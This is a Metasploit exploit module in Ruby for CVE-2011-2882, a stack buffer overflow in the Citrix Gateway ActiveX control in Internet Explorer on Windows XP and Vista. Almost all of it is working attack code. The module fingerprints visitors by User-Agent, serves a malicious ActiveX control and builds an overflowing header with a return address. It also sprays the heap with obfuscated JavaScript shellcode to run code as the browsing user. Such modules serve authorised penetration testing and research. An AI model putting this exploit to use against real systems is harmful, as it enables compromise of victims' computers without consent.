## # $Id: citrix_gateway_actx.rb 13670 2011-08-31 00:15:46Z sinn3r $ ##
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {}) super(update_info(info, 'Name' => 'Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability', 'Description' => %q{ This module exploits a stack based buffer overflow in the Citrix Gateway ActiveX control. Exploitation of this vulnerability requires user interaction. The victim must click a button in a dialog to begin a scan. This is typical interaction that users should be accustom to.
Exploitation results in code execution with the privileges of the user who browsed to the exploit page. }, 'License' => MSF_LICENSE, 'Author' => [ 'Michal Trojnara', #Initial discovery 'bannedit', 'sinn3r', ], 'Version' => '$Revision: 13670 $', 'References' => [ [ 'CVE', '2011-2882'], [ 'OSVDB', '74191' ], [ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=929' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x0a\x0d\x20\x3b\x81\x83\x88\x90", }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Ret' => 0x0c0c0c0c } ], [ 'IE 7 on Windows XP SP3', { 'Ret' => 0x0c0c0b0b } ], [ 'IE 7 on Windows Vista', { 'Ret' => 0x0c0c0b0b } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jul 14 2011', #Coordinated public disclosure according to iDefense 'DefaultTarget' => 0)) end
def exploit @ocx = ::File.read(::File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-2882', 'nsepa.ocx')) super end
def get_target(request) t = target agent = request.headers['User-Agent']
vprint_status("User-Agent: #{agent}")
if t.name =~ /Automatic/ if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ #Win XP + IE 6 t = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ #Win XP + IE 7 t = targets[2] elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ #Win Vista + IE7 t = targets[2] elsif agent == 'nsepa' #Citrix Access Gateway requesting /epaq t = agent else #Target not supported t = nil end end
return t, agent end
def on_request_uri(cli, request) @mytarget, agent = get_target(request) if @mytarget.nil? vprint_status("Client requested: #{request.uri}.")
#Target not supported, will not go on if @mytarget.nil? print_error("Target not supported: #{agent}") send_not_found(cli) return end
if request.uri.match(/nsepa/) print_status("Sending nsepa.ocx to #{cli.peerhost}") send_response(cli, @ocx, { 'Content-Type' => 'application/binary' }) return end
if request.uri.match(/epaq/) padding = rand_text_alpha(300)
csec = "eepa_0_" csec << padding[0, 259] csec << [@mytarget.ret].pack('V*') csec << padding[0, 68]
result = rand_text_alpha(1000) send_response(cli, rand_text_alpha(30), { 'CSEC' => csec, 'RESULT' => result } ) @mytarget = nil return end
# Re-generate the payload return if ((p = regenerate_payload(cli)) == nil)
# payload in JS format code = Rex::Text.to_unescape(payload.encoded)
#For debugging purposes: nops.substring(0,0x534) lands the payload exactly at 0x0c0c0c0c for IE6 spray = <<-JS var heap_lib = new heapLib.ie(0x20000); var code = unescape("#{code}"); var nops = unescape("%u0c0c%u0c0c");
while (nops.length < 0x1000) nops += nops; var offset = nops.substring(0, 0x550); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x20000) shellcode += shellcode; var block = shellcode.substring(0, (0x10000-6)/2);
heap_lib.gc();
for (var i = 0; i < 0x6000; i++) { heap_lib.alloc(block); } JS
spray = heaplib(spray) spray = ::Rex::Exploitation::JSObfu.new(spray) spray.obfuscate
load = %Q| var d=document.getElementById("nsepadiv"); if(d) { d.innerHTML= '<object id="nsepa" classid="CLSID:181BCAB2-C89B-4E4B-9E6B-59FA67A426B5" '+ 'width=1px height=1px codebase="#{get_resource}/epa/nsepa.ocx#version=8,0,59,1">' + '<param name="cookie" value="0123456789abcdef0123456789abcdef">'+ '<param name="location" value="'+document.location+'">'+ '<param name="trace" value="DEBUG">'+ '<param name="vip" value="255.255.255.255">'+ '</object>'; } else { alert('Internal Error'); } | # the ret slide gets executed via call [esi+45b] html = <<-EOS <html> <body> <div id="nsepadiv"></div> <script language="javascript"> #{spray} #{load} </script> </body> </html> EOS
html = html.gsub(/^\t\t/, '')
# we need to handle direct /epaq requests proc = Proc.new do |cli, req| on_request_uri(cli, req) end
add_resource({'Path' => "/epaq", 'Proc' => proc}) rescue nil print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}") send_response(cli, html, { 'Content-Type' => 'text/html' }) end end
|